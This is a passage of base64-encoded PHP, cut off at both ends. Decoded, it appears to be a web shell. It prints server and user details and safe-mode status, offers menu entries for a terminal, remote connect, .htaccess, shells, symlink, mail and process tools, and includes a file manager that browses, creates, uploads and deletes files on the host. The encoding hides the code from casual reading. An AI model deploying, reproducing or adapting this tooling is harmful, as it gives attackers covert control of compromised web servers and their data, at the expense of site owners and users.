xzZSwkY29udGV4dCkpIA0KCQl7DQoJCSAgICAkY29udGVudHM9c3RyZWFtX2dldF9jb250ZW50cygkaGFuZGxlKTsNCgkJICAgIGZjbG9zZSgkaGFuZGxlKTsNCgkJICAgICRyZXN1bHRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsNCgkJfQ0KDQoJCS8vZm9wZW4NCgkJaWYoJGhhbmRsZT1mb3BlbigkdXJsLCdyJyxmYWxzZSwkY29udGV4dCkpDQoJCXsNCgkJCSRjb250ZW50cz0iIjsNCgkJCXdoaWxlKCFmZW9mKCRoYW5kbGUpKSANCgkJCXsNCgkJCQkkY29udGVudHMuPWZyZWFkKCRoYW5kbGUsMTAyNDApOw0KCQkJfQ0KCQkJZmNsb3NlKCRoYW5kbGUpOw0KCQkJJHJlc3VsdHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOw0KCQl9DQoNCgl9DQoJcmV0dXJuICRyZXN1bHRzOw0KfQ0KDQpmdW5jdGlvbiBHZXRGaWxlVHlwZSgkeCkgDQp7DQoJaWYoaXNfZmlsZSgkeCkpIA0KCXsNCgkJcmV0dXJuIHBhdGhpbmZvKCR4KVsnZXh0ZW5zaW9uJ107DQoJfQ0KCWVsc2VpZihpc19kaXIoJHgpKSANCgl7IA0KCQlyZXR1cm4gImRpciI7DQoJfQ0KCWVsc2VpZihpc19saW5rKCR4KSkgDQoJeyANCgkJcmV0dXJuICJsaW5rIjsNCgl9DQoJZWxzZQ0KCXsNCgkJcmV0dXJuICItIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIEdldEZpbGVUaW1lKCR4LCR5KSANCnsNCglzd2l0Y2goJHkpIA0KCXsNCgkJY2FzZSAiY3JlYXRlIjpyZXR1cm4gZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlY3RpbWUoJHgpKTticmVhazsNCgkJY2FzZSAibW9kaWZ5IjpyZXR1cm4gZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJHgpKTticmVhazsNCgkJY2FzZSAiYWNjZXNzIjpyZXR1cm4gZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlYXRpbWUoJHgpKTticmVhazsNCgl9DQp9DQoNCmZ1bmN0aW9uIEdldEZpbGVQZXJtKCR4KSANCnsNCgkkcGVybXM9QGZpbGVwZXJtcygkeCk7DQoJc3dpdGNoICgkcGVybXMgJiAweEYwMDApIA0KCXtjYXNlIDB4QzAwMDokaW5mbz0ncyc7YnJlYWs7Y2FzZSAweEEwMDA6JGluZm89J2wnO2JyZWFrOw0KCWNhc2UgMHg4MDAwOiRpbmZvPSdyJzticmVhaztjYXNlIDB4NjAwMDokaW5mbz0nYic7YnJlYWs7DQoJY2FzZSAweDQwMDA6JGluZm89J2QnO2JyZWFrO2Nhc2UgMHgyMDAwOiRpbmZvPSdjJzticmVhazsNCgljYXNlIDB4MTAwMDokaW5mbz0ncCc7YnJlYWs7ZGVmYXVsdDokaW5mbz0ndSc7fQ0KCSRpbmZvIC49KCgkcGVybXMgJiAweDAxMDApPydyJzonLScpOyRpbmZvIC49KCgkcGVybXMgJiAweDAwODApPyd3JzonLScpOw0KCSRpbmZvIC49KCgkcGVybXMgJiAweDAwNDApPygoJHBlcm1zICYgMHgwODAwKT8ncyc6J3gnICk6KCgkcGVybXMgJiAweDA4MDApPydTJzonLScpKTsNCgkkaW5mbyAuPSgoJHBlcm1zICYgMHgwMDIwKT8ncic6Jy0nKTskaW5mbyAuPSgoJHBlcm1zICYgMHgwMDEwKT8ndyc6Jy0nKTsNCgkkaW5mbyAuPSgoJHBlcm1zICYgMHgwMDA4KT8oKCRwZXJtcyAmIDB4MDQwMCk/J3MnOid4JyApOigoJHBlcm1zICYgMHgwNDAwKT8nUyc6Jy0nKSk7DQoJJGluZm8gLj0oKCRwZXJtcyAmIDB4MDAwNCk/J3InOictJyk7JGluZm8gLj0oKCRwZXJtcyAmIDB4MDAwMik/J3cnOictJyk7DQoJJGluZm8gLj0oKCRwZXJtcyAmIDB4MDAwMSk/KCgkcGVybXMgJiAweDAyMDApPyd0JzoneCcgKTooKCRwZXJtcyAmIDB4MDIwMCk/J1QnOictJykpOw0KCXJldHVybiBzcHJpbnRmKCclcyBbJXNdJywkaW5mbyxzdWJzdHIoZGVjb2N0KCRwZXJtcyksMikpOw0KfQ0KDQpmdW5jdGlvbiBHZXRGaWxlU2l6ZSgkeCkgDQp7DQoJJHg9YWJzKCR4KTsNCgkkc2l6ZT1hcnJheSgnQicsJ0tCJywnTUInLCdHQicsJ1RCJywnUEInLCdFQicsJ1pCJywnWUInKTsNCgkkZXhwPSR4P2Zsb29yKGxvZygkeCkvbG9nKDEwMjQpKTowOw0KCXJldHVybiBzcHJpbnRmKCclLjJmICcuJHNpemVbJGV4cF0sKCR4L3BvdygxMDI0LGZsb29yKCRleHApKSkpOw0KfQ0KDQpmdW5jdGlvbiBHZXRVc2VyKCR4KSANCnsJDQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpJiZmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIA0KCXsNCgkJJHVpZD1wb3NpeF9nZXRwd3VpZChwb3NpeF9nZXR1aWQoKSk7DQoJCSRnaWQ9cG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0Z2lkKCkpOw0KCQkNCgkJc3dpdGNoKCR4KSANCgkJewkNCgkJCWNhc2UgJ3Vzcic6cmV0dXJuICR1aWRbJ25hbWUnXTticmVhazsNCgkJCWNhc2UgJ3VpZCc6cmV0dXJuICR1aWRbJ3VpZCddO2JyZWFrOw0KCQkJY2FzZSAnZ3JwJzpyZXR1cm4gJGdpZFsnbmFtZSddO2JyZWFrOw0KCQkJY2FzZSAnZ2lkJzpyZXR1cm4gJGdpZFsnZ2lkJ107YnJlYWs7DQoJCX0NCgl9DQoJZWxzZQ0KCXsNCgkJc3dpdGNoKCR4KQ0KCQl7DQoJCQljYXNlICd1c3InOnJldHVybiBnZXRfY3VycmVudF91c2VyKCk7YnJlYWs7DQoJCQljYXNlICd1aWQnOnJldHVybiBnZXRteXVpZCgpO2JyZWFrOw0KCQkJY2FzZSAnZ3JwJzpyZXR1cm4gIj8iO2JyZWFrOw0KCQkJY2FzZSAnZ2lkJzpyZXR1cm4gZ2V0bXlnaWQoKTticmVhazsNCgkJfQ0KCX0JDQp9DQoNCmZ1bmN0aW9uIEdldE93bmVyR3JvdXAoJHgpIA0Kew0KCWlmKFVuaXgoKSkNCgl7DQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSYmZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSANCgkJew0KCQkJJHVzZXI9cG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR4KSk7DQoJCQkkZ3JvdXA9cG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR4KSk7DQoJCQlyZXR1cm4gc3ByaW50ZignJXM6JXMnLCR1c2VyWyduYW1lJ10sJGdyb3VwWyduYW1lJ10pOw0KCQl9DQoJfQ0KCXJldHVybiAiPzo/IjsNCn0NCg0KZnVuY3Rpb24gR2V0RmlsZU93bmVyR3JvdXAoJHgpIA0Kew0KCWlmKFVuaXgoKSkNCgl7DQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSYmZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSANCgkJew0KCQkJJHVzZXI9cG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR4KSk7DQoJCQkkZ3JvdXA9cG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR4KSk7DQoJCQlyZXR1cm4gc3ByaW50ZignJXM6JXMvJXM6JXMnLCR1c2VyWyduYW1lJ10sJHVzZXJbJ3VpZCddLCRncm91cFsnbmFtZSddLCRncm91cFsnZ2lkJ10pOw0KCQl9DQoJfQ0KCXJldHVybiAiPzo/Lz86PyI7DQp9DQoNCmZ1bmN0aW9uIEdldFNhZmVNb2RlKCkgDQp7DQoJaWYoc3RydG9sb3dlcihpbmlfZ2V0KCJzYWZlX21vZGUiKSk9PSdvbicpIA0KCXsNCgkJJHNhZmVtb2Q9Ijxmb250IGNsYXNzPSdvZmYnPk9OPC9mb250PiI7DQoJfQ0KCWVsc2UNCgl7DQoJCSRzYWZlbW9kPSI8Zm9udCBjbGFzcz0nb24nPk9GRjwvZm9udD4iOw0KCX0NCglyZXR1cm4gJHNhZmVtb2Q7DQp9DQoNCmZ1bmN0aW9uIE1hcERpcmVjdG9yeSgkeCkgDQp7DQoJJG1hcD0iIjsNCgkkZD1zdHJfcmVwbGFjZSgiXFwiLF8sJHgpOw0KCWlmKGVtcHR5KCRkKSkNCgl7DQoJCSRkPXJlYWxwYXRoKCIuIik7DQoJfQ0KCWVsc2VpZihyZWFscGF0aCgkZCkpDQoJewkNCgkJJGQ9cmVhbHBhdGgoJGQpOw0KCX0NCgkkZD1zdHJfcmVwbGFjZSgiXFwiLF8sJGQpOw0KCWlmKHN1YnN0cigkZCwtMSkhPV8pIA0KCXsJDQoJCSRkLj1fOw0KCX0NCgkkZD1zdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwkZCk7DQoJJHBkPSRlPWV4cGxvZGUoXyxzdWJzdHIoJGQsMCwtMSkpOw0KCSRpPTA7DQoJZm9yZWFjaCgkcGQgYXMgJGIpIA0KCXsNCgkJJHQ9IiI7DQoJCSRqPTA7DQoJCWZvcmVhY2goJGUgYXMgJHIpIA0KCQl7DQoJCQkkdC49JHIuXzsNCgkJCWlmKCRqPT0kaSkgDQoJCQl7CQ0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJJGorKzsNCgkJfQ0KCQkkbWFwLj0iPGEgaHJlZj1cIj9kPSIudXJsZSgkdCkuIlwiID4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLiI8L2E+Ii5fOw0KCQkkaSsrOw0KCX0NCglyZXR1cm4gcnRyaW0oJG1hcCxfKTsNCn0NCg0KZnVuY3Rpb24gTWFwRHJpdmUoJHgpIA0Kew0KCWlmKCFVbml4KCkpIA0KCXsNCgkJJHY9ZXhwbG9kZSgiXFwiLCR4KTsNCgkJJHY9JHZbMF07DQoJCSRsPSIiOw0KCQlmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRsdCkgDQoJCXsNCgkJCSRkcml2ZT1pc19kaXIoJGx0LiI6XFwiKTsNCgkJCWlmKCRkcml2ZSkgDQoJCQl7DQoJCQkJJGwuPSI8YSBocmVmPVwiP2Q9Ii51cmxlKCRsdC4iOlxcIikuIlwiPlsiOw0KCQkJCWlmKHN0cnRvbG93ZXIoJGx0Lic6JykhPXN0cnRvbG93ZXIoJHYpKSANCgkJCQl7DQoJCQkJCSRsLj0kbHQ7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSRsLj0iPGZvbnQgY29sb3I9XCJvcmFuZ2VcIj48Yj4iLiRsdC4iPC9iPjwvZm9udD4iOw0KCQkJCX0NCgkJCQkkbC49Il08L2E+IjsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gJGw7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBNYWluTWVudSgpIA0Kew0KCSRtZW51PWFycmF5KA0KCQkiRXhwTCIgICAgICAgICAgPT4gIj9kPSIudXJsZShnZXRjd2QoKSksDQoJCSImIzk3MzM7IFNlYy4iCT0+ICI/eD1zZWN1cmUiLA0KCQkiSW5mbyIgICAgICAgICAgPT4gIj94PWluZm8iLA0KCQkiRGF0YWJhc2UiICAgICAgPT4gIj94PWRiIiwNCgkJIlRlcm1pbmFsIiAgICAgID0+ICI/eD10ZXJtaW5hbCIsDQoJCSJDb25uZWN0IiAgICAgICA9PiAiP3g9Y29ubmVjdCIsDQoJCSIuSHRhY2Nlc3MiICAgICA9PiAiP3g9aHRhY2Nlc3MiLA0KCQkiUEhQIiAgICAgICAgICAgPT4gIj94PXBocCIsDQoJCSJQZXJsL0NHSSIgICAgICA9PiAiP3g9cGVybCIsDQoJCSJNYWlsIiAgICAgICAgICA9PiAiP3g9bWFpbCIsDQoJCSJQcm9jZXNzIiAgICAgICA9PiAiP3g9cHJvY2VzcyIsDQoJCSJTaGVsbHMiICAgICAgICA9PiAiP3g9c2hlbGxzIiwNCgkJIlN5bWxpbmsiICAgICAgID0+ICI/eD1zeW1saW5rIiwNCgkJIiYjOTgxOTsgVG9vbHMiID0+ICI/eiIsDQoJCSJBY2NvdW50IiAgICAgICA9PiAiP3g9YWNjb3VudCIsDQoJCSJVcGRhdGUiICAgICAgICA9PiAiP3g9dXBkYXRlIiwNCgkJIkxvZ291dCIgICAgICAgID0+ICI/eD1sb2dvdXQiDQoJKTsNCgkkbnU9IiI7DQoJZm9yZWFjaCgkbWVudSBhcyAka2V5ID0+ICR2YWwpDQoJew0KCQkkaWR4a2V5PXN1YnN0cigkdmFsLDEsMSk7DQoJCSRpZHh2YWw9c3Vic3RyKCR2YWwsMyk7DQoJCSRhY3RpdmU9YW55KCRpZHhrZXksJF9SRVFVRVNUKSYmJF9SRVFVRVNUWyRpZHhrZXldPT0kaWR4dmFsPyJjbGFzcz0nYWN0aXZlJyI6IiI7DQoJCWlmKCRrZXk9PSJMb2dvdXQiKQ0KCQl7DQoJCQkkbnUuPSI8bGk+PGEgIi4kYWN0aXZlLiIgaHJlZj0nIi4kdmFsLiInIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnQnllICEnKTtcIj4iLiRrZXkuIjwvYT48L2xpPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkbnUuPSI8bGk+PGEgIi4kYWN0aXZlLiIgaHJlZj0nIi4kdmFsLiInPiIuJGtleS4iPC9hPjwvbGk+IjsNCgkJfQ0KCX0NCglyZXR1cm4gJG51Ow0KfQ0KDQpmdW5jdGlvbiBNZW51VG9vbHMoJHgpIA0Kew0KCWdsb2JhbCAkbWVudV90b29sczsNCgkkb2w9IjxkaXYgY2xhc3M9J21lbnUtdG9vbHMnPjx1bD4iOw0KCSRtZW51X3Rvb2xzPSR4Ow0KCQ0KCWZvcmVhY2goJG1lbnVfdG9vbHMgYXMgJGsgPT4gJHYpDQoJew0KCQkkYWN0aXZlPSRfUkVRVUVTVFsneiddPT0kaz8iY2xhc3M9J2FjdGl2ZSciOiIiOw0KCQkkb2wuPSI8bGk+PGEgIi4kYWN0aXZlLiIgaHJlZj0nP3o9Ii4kay4iJz5bIi4kdlsndGl0bGUnXS4iXTwvYT48L2xpPiI7DQoJfQ0KCSRvbC49IjwvdWw+PC9kaXY+IjsNCglyZXR1cm4gJG9sOw0KfQ0KDQpwcmludGYoIjxkaXYgaWQ9J2hlYWRlcic+DQoJCTxkaXYgY2xhc3M9J2hlYWRlci1sZWZ0Jz4NCgkJCTxkaXYgaWQ9J2luZm8nPg0KCQkJCTxmb250IGNsYXNzPSdvbic+WyVzXTwvZm9udD48YnI+DQoJCQkJPGZvbnQgY2xhc3M9J29uJz5bJXNdPC9mb250Pjxicj4NCgkJCQlbPGEgaHJlZj0nLy8lcycgdGFyZ2V0PSdfYmxhbmsnPiVzPC9hPl06IDxmb250IGNsYXNzPSdvbic+JXM6JXM8L2ZvbnQ+IFslc106IDxmb250IGNsYXNzPSdvbic+JXM6JXM8L2ZvbnQ+PGJyPg0KCQkJCVtVU0VSXTogPGZvbnQgY2xhc3M9J29uJz4lcyglcyk8L2ZvbnQ+IFtHUk9VUF06IDxmb250IGNsYXNzPSdvbic+JXMoJXMpPC9mb250Pjxicj4NCgkJCQlbSEREXTogPGZvbnQgY2xhc3M9J29uJz4lczwvZm9udD4gLyA8Zm9udCBjbGFzcz0nb24nPiVzPC9mb250Pjxicj4NCgkJCQlbUEhQTU9ERV06IDxmb250IGNsYXNzPSdvbic+JXM8L2ZvbnQ+PGJyPg0KCQkJCVtTQUZFTU9ERV06IDxmb250IGNsYXNzPSdvbic+JXM8L2ZvbnQ+PGJyPg0KCQkJPC9kaXY+DQoJCTwvZGl2Pg0KCQk8ZGl2IGNsYXNzPSdoZWFkZXItcmlnaHQnPg0KCQkJPGEgaHJlZj0nJXMnPjxkaXYgaWQ9J2xvZ28nPg0KCQkJCTxoMSBpZD0ndGl0bGUnPiVzPC9oMT4NCgkJCQk8ZGl2IGNsYXNzPSdsaW5lJz48L2Rpdj4NCgkJCQk8aDIgaWQ9J3N1YnRpdGxlJz4lczwvaDI+DQoJCQk8L2Rpdj48L2E+DQoJCTwvZGl2Pg0KCQk8ZGl2IGNsYXNzPSdjbHInPjwvZGl2Pg0KCQk8L2Rpdj4NCgkJPGRpdiBpZD0nY29udGFpbmVyJz4NCgkJPGRpdiBjbGFzcz0nbWVudSc+DQoJCQk8dWw+JXM8L3VsPg0KCQk8L2Rpdj4NCgkJPGRpdiBjbGFzcz0nbWVudS1kaXJlY3RvcnknPg0KCQkJPGRpdiBjbGFzcz0nbWFwLXN3aXRjaCc+DQoJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nbWFwLXN3aXRjaCcgdmFsdWU9JyYjOTgyMjsnIG9uY2xpY2s9J21hcFN3aXRjaChcIm1hcDFcIixcIm1hcDJcIiknPg0KCQkJPC9kaXY+DQoJCQk8ZGl2IGNsYXNzPSdtYXAxJyBpZD0nbWFwMScgc3R5bGU9J2Rpc3BsYXk6aW5saW5lLWJsb2NrJz4NCgkJCQk8c3BhbiBzdHlsZT0nbWFyZ2luLXJpZ2h0OjVweCc+JXM8L3NwYW4+DQoJCQkJPHNwYW4gc3R5bGU9J21hcmdpbi1yaWdodDo1cHgnPiVzPC9zcGFuPg0KCQkJPC9kaXY+DQoJCQk8ZGl2IGNsYXNzPSdtYXAyJyBpZD0nbWFwMicgc3R5bGU9J2Rpc3BsYXk6bm9uZSc+DQoJCQkJPGZvcm0gbWV0aG9kPSdwb3N0JyBpZD0nbWFwMi1mb3JtJyBvbnN1Ym1pdD0nZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCJtYXAyLWZvcm1cIikuYWN0aW9uPVwiP2c9XCIgKyBlbmNvZGVVUkkoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCJtYXAyLWlucHV0XCIpLnZhbHVlKTsnPg0KCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyVzJyBpZD0nbWFwMi1pbnB1dCcvPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28nPg0KCQkJCTwvZm9ybT4NCgkJCTwvZGl2Pg0KCQk8L2Rpdj4NCgkJPGRpdiBjbGFzcz0nY29udGVudCc+IiwNCgkJcGhwX3VuYW1lKCksc2VydmVyX3NvZnR3YXJlLA0KCQlzZXJ2ZXJfbmFtZSxzZXJ2ZXJfbmFtZSxnZXRob3N0YnluYW1lKGh0dHBfaG9zdCksc2VydmVyX3BvcnQsDQoJCUI2NEQoJGFjY291bnRbMF0pLHJlbW90ZV9hZGRyLHJlbW90ZV9wb3J0LA0KCQlHZXRVc2VyKCJ1c3IiKSxHZXRVc2VyKCJ1aWQiKSxHZXRVc2VyKCJncnAiKSxHZXRVc2VyKCJnaWQiKSwNCgkJR2V0RmlsZVNpemUoQGRpc2tfZnJlZV9zcGFjZSgkZGlyKSksR2V0RmlsZVNpemUoQGRpc2tfdG90YWxfc3BhY2UoJGRpcikpLA0KCQlwaHBfc2FwaV9uYW1lKCksR2V0U2FmZU1vZGUoKSxwaHBfc2VsZiwkY29uZmlnWyd0aXRsZSddLCRjb25maWdbJ3N1YnRpdGxlJ10sDQoJCU1haW5NZW51KCksTWFwRHJpdmUoJG1hcCksTWFwRGlyZWN0b3J5KCRtYXApLCRtYXANCik7DQoNCmlmKGFueSgiZyIsJF9SRVFVRVNUKSkNCnsNCgkkZz0kX1JFUVVFU1RbJ2cnXTsNCg0KCWlmIChpc19kaXIoJGcpKQ0KCXsNCgkJaGVhZGVyKCdsb2NhdGlvbjonLnBocF9zZWxmLic/ZD0nLnVybGUoJGcpKTsNCgl9DQoJZWxzZWlmKGlzX2ZpbGUoJGcpfHxpc19saW5rKCRnKSkNCgl7DQoJCWhlYWRlcignbG9jYXRpb246Jy5waHBfc2VsZi4nP2E9diZyPScudXJsZSgkZykpOw0KCX0NCgllbHNlDQoJew0KCQloZWFkZXIoJ2xvY2F0aW9uOicucGhwX3NlbGYpOw0KCX0NCn0NCg0KaWYoYW55KCJkIiwkX1JFUVVFU1QpfHxyZXF1ZXN0X3VyaT09PXNjcmlwdF9uYW1lKQ0Kew0KCSRfU0VTU0lPTlsnYyddPXVybGUoJGRpcik7DQoNCglpZihhbnkoImZpbGUiLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsnZmlsZSddPT0iTmV3IEZpbGUiKQ0KCXsNCgkJJGZpbGU9dHJpbSgkZGlyLl8uJF9SRVFVRVNUWyd3aGF0J10pOw0KCQkNCgkJaWYoZmlsZV9leGlzdHMoJGZpbGUpKQ0KCQl7DQoJCQlwcmludGYoIjxjZW50ZXIgc3R5bGU9J21hcmdpbi1ib3R0b206MTBweCc+PGIgY2xhc3M9J29mZic+Q2FuJ3QgY3JlYXRlIE5ldyBGaWxlITwvYj48L2NlbnRlcj4iKTsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRtZj1AZm9wZW4oJGZpbGUsInciKTsNCgkJCWZjbG9zZSgkbWYpOw0KCQkJaGVhZGVyKCJsb2NhdGlvbjoiLnBocF9zZWxmLiI/YT1lJnI9Ii51cmxlKCRmaWxlKSk7DQoJCX0NCgl9DQoJaWYoYW55KCJkaXJlY3RvcnkiLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsnZGlyZWN0b3J5J109PSJOZXcgRGlyIikNCgl7CQ0KCQkkZGlyZT10cmltKCRfUkVRVUVTVFsnd2hhdCddKTsNCg0KCQlAY2hkaXIoJGRpcik7DQoNCgkJaWYoIUBta2RpcigkZGlyZSkpDQoJCXsNCgkJCXByaW50ZigiPGNlbnRlciBzdHlsZT0nbWFyZ2luLWJvdHRvbToxMHB4Jz48YiBjbGFzcz0nb2ZmJz5DYW4ndCBjcmVhdGUgTmV3IERpcmVjdG9yeSE8L2I+PC9jZW50ZXI+Iik7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludGYoIjxjZW50ZXIgc3R5bGU9J21hcmdpbi1ib3R0b206MTBweCc+PGIgY2xhc3M9J29uJz5EaXJlY3RvcnkgJyVzJyBDcmVhdGVkIG9uICVzPC9iPjwvY2VudGVyPiIsJGRpcmUsR2V0RmlsZVRpbWUoJGRpci5fLiRkaXJlLCdjcmVhdGUnKSk7DQoJCX0NCgl9DQoJaWYoYW55KCJ1cGxvYWQiLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsndXBsb2FkJ109PSJVcGxvYWQiKQ0KCXsJDQoJCSR1cGxvYWQ9JGRpci5fLnRyaW0oYmFzZW5hbWUoJF9GSUxFU1sid2hhdCJdWyJuYW1lIl0pKTsNCg0KCQlpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sid2hhdCJdWyJ0bXBfbmFtZSJdLCR1cGxvYWQpKSANCgkJew0KCQkJcHJpbnRmKCI8Y2VudGVyIHN0eWxlPSdtYXJnaW4tYm90dG9tOjEwcHgnPjxiIGNsYXNzPSdvbic+RmlsZSAlcyBoYXMgYmVlbiB1cGxvYWRlZDwvYj48L2NlbnRlcj4iLGJhc2VuYW1lKCRfRklMRVNbIndoYXQiXVsibmFtZSJdKSk7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJcHJpbnRmKCI8Y2VudGVyIHN0eWxlPSdtYXJnaW4tYm90dG9tOjEwcHgnPjxiIGNsYXNzPSdvZmYnPiYjMTAwMDU7IENhbid0IHVwbG9hZCBuZXcgZmlsZSEgJiMxMDAwNTs8L2I+PC9jZW50ZXI+Iik7DQoJCX0NCgl9DQoJaWYoJGhhbmRsZT1Ab3BlbmRpcigkZGlyKSkNCgl7DQoJCSRyZWFkcz1hcnJheSgpOw0KCQkkY291bnRfZGlycz0wOw0KCQkkY291bnRfZmlsZXM9MDsNCg0KCQl3aGlsZShmYWxzZSE9PSgkZmlsZT1yZWFkZGlyKCRoYW5kbGUpKSkNCgkJew0KCQkJJGZpbGVkaXI9cnRyaW0oJGRpcixfKS5fLiRmaWxlOw0KCQkJJHVwZGlyPXN1YnN0cigkZGlyLDAsc3RycnBvcygkZGlyLF8pKTsNCgkJCWlmIChzdHJsZW4oJHVwZGlyKTw9MikgJHVwZGlyPSR1cGRpci5fOw0KCQkJJHR5cGU9R2V0RmlsZVR5cGUoJGZpbGVkaXIpOw0KCQkJJHNpemU9R2V0RmlsZVNpemUoQGZpbGVzaXplKCRmaWxlZGlyKSk7DQoJCQkkbGFzdD1HZXRGaWxlVGltZSgkZmlsZWRpciwibW9kaWZ5Iik7DQoJCQkkcGVybT1HZXRGaWxlUGVybSgkZmlsZWRpcik7DQoJCQkkb3duZXI9R2V0T3duZXJHcm91cCgkZmlsZWRpcik7DQoJCQkkbWltZT1AbWltZV9jb250ZW50X3R5cGUoJGZpbGVkaXIpOw0KCQkJJHZpZXc9IiI7DQoNCgkJCWlmKHN0cnBvcygkbWltZSwnaW1hZ2UnKSE9PWZhbHNlKQ0KCQkJew0KCQkJCSR2aWV3PSI/YT12Jnc9aSZyPSIudXJsZSgkZmlsZWRpcik7DQoJCQl9DQoJCQllbHNlaWYoc3RycG9zKCRtaW1lLCd2aWRlbycpIT09ZmFsc2UpDQoJCQl7DQoJCQkJJHZpZXc9Ij9hPXYmdz12JnI9Ii51cmxlKCRmaWxlZGlyKTsNCgkJCX0NCgkJCWVsc2VpZihzdHJwb3MoJG1pbWUsJ2F1ZGlvJykhPT1mYWxzZSkNCgkJCXsNCgkJCQkkdmlldz0iP2E9diZ3PWEmcj0iLnVybGUoJGZpbGVkaXIpOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSR2aWV3PSI/YT12JnI9Ii51cmxlKCRmaWxlZGlyKTsNCgkJCX0NCgkJCQ0KCQkJaWYoJGZpbGU9PSIuIikNCgkJCXsNCgkJCQkkcmVhZHNbXT0iPHRyIHNvcnR0YWJsZV9jdXN0b21rZXk9JzInPjx0ZD48Y2VudGVyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nbm9jaGtbXScgdmFsdWU9JyIudXJsZSgkZGlyKS4iJy8+PC9jZW50ZXI+PC90ZD48dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFHWFJGV0hSVGIyWjBkMkZ5WlFCQlpHOWlaU0JKYldGblpWSmxZV1I1Y2NsbFBBQUFBZDVKUkVGVWVOcU1VNzlyRlVFUS92YnVvZEZFRWt6QUltQnBrVWFiRlA0bGRwYUpoWlhZbS9SaVpXc3YvaGtXRmdsQlV5VElneUFJSWZnSVJqSHYzcjM5TWVQTTdOM0xjYnhBRnZaMmIyYm4yMi9tbTNYTWpGK0hMM1lXN3EyOFlTSXc4bUJLb0JpaGhoZ0Nzb09Sb3Q5ZDMveXdnM1lvd01Yd05kZS9QekduazJ2bjZQaXRyVCsvUEdlTmFlY2c0K3FOWTNENDN2eTE2QTV3RERkNEFxZy9uZ21yamwvR29OMFU1VjFRcXVIUUczcStUUERWaFZ3eUJmZmNtUUdKbVNWZnlaazdSM1NuZ0k0Sktmd0RKMiswNXpJZzhnYmllcmVUWlJIaEo1S0NNT3dERkxqaG9CVG4yZzBnaGFnZktlSVlKRFBGeWliSlZCdFRSRXdxNjBTcFl2aDUrK1Bwd2F0SHN4U205UVJMU1FwRVZTZDcvVFlKVWI0OVRYN2d6dHBqakVmZm5vVnc2NitZdG92czE0WXA3SGFLbVVYZVg5cktVb01vTE5XM3NycUk1ZlduOEplanJWa0swUWNya0ZMT2dTMzl5b0tVUWUyOTJXSjFndVVIRzhLMm84SzAwb08xQlR2WG9XNHlhc2NsVVRnWllKWTlhRk5mQVRoWDVDWlJtY3pBVjUyb0FQb3VwSGhXUklVVUFPb3lVSWxZVmFBYS9WYkxieWlaVWl5RmJqUUZOd2laUVNHbDRJRHk5c081V3J0eTBRTEtoZFpQeG1nR2NEbzhlam4rYy82ZWlLOXBvejE1S3c3RHIvdk4vejZXN3ErKzA5MS9BUVlBNW1aOEdZSjlLMEFBQUFBQVNVVk9SSzVDWUlJPScvPiA8YSB0aXRsZT0nQ3VycmVudCBEaXJlY3RvcnknIGhyZWY9Jz9kPSIudXJsZSgkZGlyKS4iJz4uPC9hPjwvdGQ+PHRkPjxjZW50ZXI+Ii5zdHJ0b3VwcGVyKCR0eXBlKS4iPC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJHBlcm0uIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kb3duZXIuIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kbGFzdC4iPC9jZW50ZXI+PC90ZD48dGQ+PGEgY2xhc3M9J2FjdGlvbicgaHJlZj0nP2E9eCZyPSIudXJsZSgkZGlyKS4iJyBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBEaXJlY3RvcnkgWyAvIi5iYXNlbmFtZSgkZGlyKS4iIF0gPycpO1wiIHRpdGxlPSdEZ